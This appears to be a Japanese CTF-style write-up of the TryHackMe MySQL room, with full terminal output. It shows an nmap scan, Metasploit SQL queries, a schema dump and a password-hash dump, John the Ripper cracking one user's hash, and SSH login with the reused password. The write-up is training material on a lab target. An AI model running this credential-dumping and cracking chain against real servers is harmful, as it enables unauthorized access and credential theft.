TryHackMe Network Services 2 MYSQL Writeup

# はじめに

本記事は「[TryHackMe:Network Services 2 MYSQL](https://tryhackme.com/room/networkservices2)」のwriteupです。

## 問題

MYSQLに関する問題です。

## 回答

ポートスキャンします。
結果`ssh`が`tcp/22`、`mysql`が`tcp/3306`で公開されていることがわかりました。
また、filteredされたポートがいくつかありました。

```text
┌──(kali㉿kali)-[~]
└─$ nmap -sV -p- --min-rate 5000 10.10.24.39
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-23 23:26 JST
Nmap scan report for 10.10.24.39
Host is up (0.26s latency).
Not shown: 65528 closed tcp ports (conn-refused)
PORT      STATE    SERVICE VERSION
22/tcp    open     ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
3306/tcp  open     mysql   MySQL 5.7.29-0ubuntu0.18.04.1
11292/tcp filtered unknown
15450/tcp filtered unknown
26807/tcp filtered unknown
47132/tcp filtered unknown
51053/tcp filtered unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 31.51 seconds
```

MySQLのユーザ名、パスワードはサイトに記載されており、root:passwordです。
ログインできるか一応確かめました。

```text
┌──(kali㉿kali)-[~]
└─$ mysql -h 10.10.24.39 -u root -p
Enter password:
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 4
Server version: 5.7.29-0ubuntu0.18.04.1 (Ubuntu)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]> exit
Bye
```

Metasploitはペネトレーションテスト用のソフトウェアであり、SMTPの他、MySQLの列挙を行う機能が存在します。
kaliには既にインストールされており、`msfconsole`コマンドで起動します。

```text
┌──(kali㉿kali)-[~]
└─$ msfconsole

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%     %%%         %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%  %%  %%%%%%%%   %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%  %  %%%%%%%%   %%%%%%%%%%% https://metasploit.com %%%%%%%%%%%%%%%%%%%%%%%%
%%  %%  %%%%%%   %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%  %%%%%%%%%   %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%  %%%  %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%    %%   %%%%%%%%%%%  %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%  %%%  %%%%%
%%%%  %%  %%  %      %%      %%    %%%%%      %    %%%%  %%   %%%%%%       %%
%%%%  %%  %%  %  %%% %%%%  %%%%  %%  %%%%  %%%%  %% %%  %% %%% %%  %%%  %%%%%
%%%%  %%%%%%  %%   %%%%%%   %%%%  %%%  %%%%  %%    %%  %%% %%% %%   %%  %%%%%
%%%%%%%%%%%% %%%%     %%%%%    %%  %%   %    %%  %%%%  %%%%   %%%   %%%     %
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%  %%%%%%% %%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%          %%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%


       =[ metasploit v6.3.10-dev                          ]
+ -- --=[ 2306 exploits - 1205 auxiliary - 412 post       ]
+ -- --=[ 968 payloads - 46 encoders - 11 nops            ]
+ -- --=[ 9 evasion                                       ]

Metasploit tip: Tired of setting RHOSTS for modules? Try
globally setting it with setg RHOSTS x.x.x.x
Metasploit Documentation: https://docs.metasploit.com/

msf6 >
```

MySQLの列挙には`mysql_sql`(正確には`auxiliary/admin/mysql/mysql_sql`)を使用します。
`options`コマンドで現在設定されている値や必要なオプションを表示することができます。
`PASSWORD`、`RHOSTS`、`USERNAME`の未設定のようです。

```text
msf6 > use mysql_sql

Matching Modules
================

   #  Name                             Disclosure Date  Rank    Check  Description
   -  ----                             ---------------  ----    -----  -----------
   0  auxiliary/admin/mysql/mysql_sql                   normal  No     MySQL SQL Generic Query


Interact with a module by name or index. For example info 0, use 0 or use auxiliary/admin/mysql/mysql_sql

[*] Using auxiliary/admin/mysql/mysql_sql
msf6 auxiliary(admin/mysql/mysql_sql) > options

Module options (auxiliary/admin/mysql/mysql_sql):

   Name      Current Setting   Required  Description
   ----      ---------------   --------  -----------
   PASSWORD                    no        The password for the specified username
   RHOSTS                      yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit
                                         /basics/using-metasploit.html
   RPORT     3306              yes       The target port (TCP)
   SQL       select version()  yes       The SQL to execute.
   USERNAME                    no        The username to authenticate as


View the full module info with the info, or info -d command.

msf6 auxiliary(admin/mysql/mysql_sql) >
```

`PASSWORD`、`RHOSTS`、`USERNAME`の値をそれぞれ設定し、`exploit`を実行すると、`options`で表示されていた`SQL`に設定されているSQL文が実行されます。
つまり、`select version()`が実行され、MySQLのバージョンを取得することができました。

```text
msf6 auxiliary(admin/mysql/mysql_sql) > set password password
password => password
msf6 auxiliary(admin/mysql/mysql_sql) > set rhosts 10.10.24.39
rhosts => 10.10.24.39
msf6 auxiliary(admin/mysql/mysql_sql) > set username root
username => root
msf6 auxiliary(admin/mysql/mysql_sql) > exploit
[*] Running module against 10.10.24.39

[*] 10.10.24.39:3306 - Sending statement: 'select version()'...
[*] 10.10.24.39:3306 -  | 5.7.29-0ubuntu0.18.04.1 |
[*] Auxiliary module execution completed
```

`SQL`の値を`show databases`に変更し、実行するとデータベースの一覧が取得できました。

```text
msf6 auxiliary(admin/mysql/mysql_sql) > set sql show databases
sql => show databases
msf6 auxiliary(admin/mysql/mysql_sql) > exploit
[*] Running module against 10.10.24.39

[*] 10.10.24.39:3306 - Sending statement: 'show databases'...
[*] 10.10.24.39:3306 -  | information_schema |
[*] 10.10.24.39:3306 -  | mysql |
[*] 10.10.24.39:3306 -  | performance_schema |
[*] 10.10.24.39:3306 -  | sys |
[*] Auxiliary module execution completed
```

`mysql_schemadump`(正確には`auxiliary/scanner/mysql/mysql_schemadump`)を使用することでテーブル定義の一覧を取得することができます。

```text
msf6 > use mysql_schemadump

Matching Modules
================

   #  Name                                      Disclosure Date  Rank    Check  Description
   -  ----                                      ---------------  ----    -----  -----------
   0  auxiliary/scanner/mysql/mysql_schemadump                   normal  No     MYSQL Schema Dump


Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/mysql/mysql_schemadump

[*] Using auxiliary/scanner/mysql/mysql_schemadump
msf6 auxiliary(scanner/mysql/mysql_schemadump) > options

Module options (auxiliary/scanner/mysql/mysql_schemadump):

   Name             Current Setting  Required  Description
   ----             ---------------  --------  -----------
   DISPLAY_RESULTS  true             yes       Display the Results to the Screen
   PASSWORD                          no        The password for the specified username
   RHOSTS                            yes       The target host(s), see https://docs.metasploit.com/docs/using-meta
                                               sploit/basics/using-metasploit.html
   RPORT            3306             yes       The target port (TCP)
   THREADS          1                yes       The number of concurrent threads (max one per host)
   USERNAME                          no        The username to authenticate as


View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/mysql/mysql_schemadump) > set password password
password => password
msf6 auxiliary(scanner/mysql/mysql_schemadump) > set rhosts 10.10.24.39
rhosts => 10.10.24.39
msf6 auxiliary(scanner/mysql/mysql_schemadump) > set username root
username => root
msf6 auxiliary(scanner/mysql/mysql_schemadump) > exploit

[+] 10.10.24.39:3306      - Schema stored in: /home/kali/.msf4/loot/20230524000753_default_10.10.24.39_mysql_schema_966438.txt
[+] 10.10.24.39:3306      - MySQL Server Schema
 Host: 10.10.24.39
 Port: 3306
 ====================

---
- DBName: sys
  Tables:
  - TableName: host_summary
    Columns:
    - ColumnName: host
      ColumnType: varchar(60)
    - ColumnName: statements
      ColumnType: decimal(64,0)
    - ColumnName: statement_latency
      ColumnType: text
    - ColumnName: statement_avg_latency
      ColumnType: text
    - ColumnName: table_scans
      ColumnType: decimal(65,0)
    - ColumnName: file_ios
      ColumnType: decimal(64,0)
    - ColumnName: file_io_latency
      ColumnType: text
    - ColumnName: current_connections
      ColumnType: decimal(41,0)
    - ColumnName: total_connections
      ColumnType: decimal(41,0)
    - ColumnName: unique_users
      ColumnType: bigint(21)
    - ColumnName: current_memory
      ColumnType: text
    - ColumnName: total_memory_allocated
      ColumnType: text
  - TableName: host_summary_by_file_io
    Columns:
    - ColumnName: host
      ColumnType: varchar(60)
    - ColumnName: ios
      ColumnType: decimal(42,0)
    - ColumnName: io_latency
      ColumnType: text
...(中略)
  - TableName: x$waits_global_by_latency
    Columns:
    - ColumnName: events
      ColumnType: varchar(128)
    - ColumnName: total
      ColumnType: bigint(20) unsigned
    - ColumnName: total_latency
      ColumnType: bigint(20) unsigned
    - ColumnName: avg_latency
      ColumnType: bigint(20) unsigned
    - ColumnName: max_latency
      ColumnType: bigint(20) unsigned

[*] 10.10.24.39:3306      - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

`mysql_hashdump`(正確には`auxiliary/scanner/mysql/mysql_hashdump`)を実行することでユーザとパスワードハッシュの一覧を取得することができます。

```text
msf6 > use auxiliary/scanner/mysql/mysql_hashdump
msf6 auxiliary(scanner/mysql/mysql_hashdump) > options

Module options (auxiliary/scanner/mysql/mysql_hashdump):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD                   no        The password for the specified username
   RHOSTS                     yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/
                                        basics/using-metasploit.html
   RPORT     3306             yes       The target port (TCP)
   THREADS   1                yes       The number of concurrent threads (max one per host)
   USERNAME                   no        The username to authenticate as


View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/mysql/mysql_hashdump) > set password password
password => password
msf6 auxiliary(scanner/mysql/mysql_hashdump) > set rhosts 10.10.24.39
rhosts => 10.10.24.39
msf6 auxiliary(scanner/mysql/mysql_hashdump) > set username root
username => root
msf6 auxiliary(scanner/mysql/mysql_hashdump) > exploit

[+] 10.10.24.39:3306      - Saving HashString as Loot: root:
[+] 10.10.24.39:3306      - Saving HashString as Loot: mysql.session:*THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE
[+] 10.10.24.39:3306      - Saving HashString as Loot: mysql.sys:*THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE
[+] 10.10.24.39:3306      - Saving HashString as Loot: debian-sys-maint:*D9C95B328FE46FFAE1A55A2DE5719A8681B2F79E
[+] 10.10.24.39:3306      - Saving HashString as Loot: root:*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19
[+] 10.10.24.39:3306      - Saving HashString as Loot: carl:*EA031893AA21444B170FC2162A56978B8CEECE18
[*] 10.10.24.39:3306      - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

一般ユーザの可能性が高い`carl`のユーザ名とパスワードの一行（`carl:*EA031893AA21444B170FC2162A56978B8CEECE18`）をテキストファイルに記入し、`John`(`John the Ripper`)でパスワードクラックを行います。

```text
┌──(kali㉿kali)-[~]
└─$ john hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (mysql-sha1, MySQL 4.1+ [SHA1 256/256 AVX2 8x])
Warning: no OpenMP support for this hash type, consider --fork=2
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 2 candidates buffered for the current salt, minimum 8 needed for performance.
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
Proceeding with incremental:ASCII
doggie           (carl)
1g 0:00:00:00 DONE 3/3 (2023-05-24 00:19) 1.010g/s 2309Kp/s 2309Kc/s 2309KC/s doggie..doggia
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

ユーザ名とパスワードの組み合わせがわかりました。
パスワードが再利用されていると仮定し、`ssh`でアクセスしてみたところ成功し、フラグが記載されたファイルを見つけることができました。

```text
┌──(kali㉿kali)-[~]
└─$ ssh carl@10.10.24.39
The authenticity of host '10.10.24.39 (10.10.24.39)' can't be established.
ED25519 key fingerprint is SHA256:lzPSz2dnAUtAkM53Zn8G50umC6hWdyrSEcfYoFcGqF4.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.24.39' (ED25519) to the list of known hosts.
carl@10.10.24.39's password:
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-96-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Tue May 23 15:25:04 UTC 2023

  System load:  0.0               Processes:           87
  Usage of /:   41.7% of 9.78GB   Users logged in:     0
  Memory usage: 32%               IP address for eth0: 10.10.24.39
  Swap usage:   0%


23 packages can be updated.
0 updates are security updates.


Last login: Thu Apr 23 12:57:41 2020 from 192.168.1.110
carl@polomysql:~$ ls
MySQL.txt
```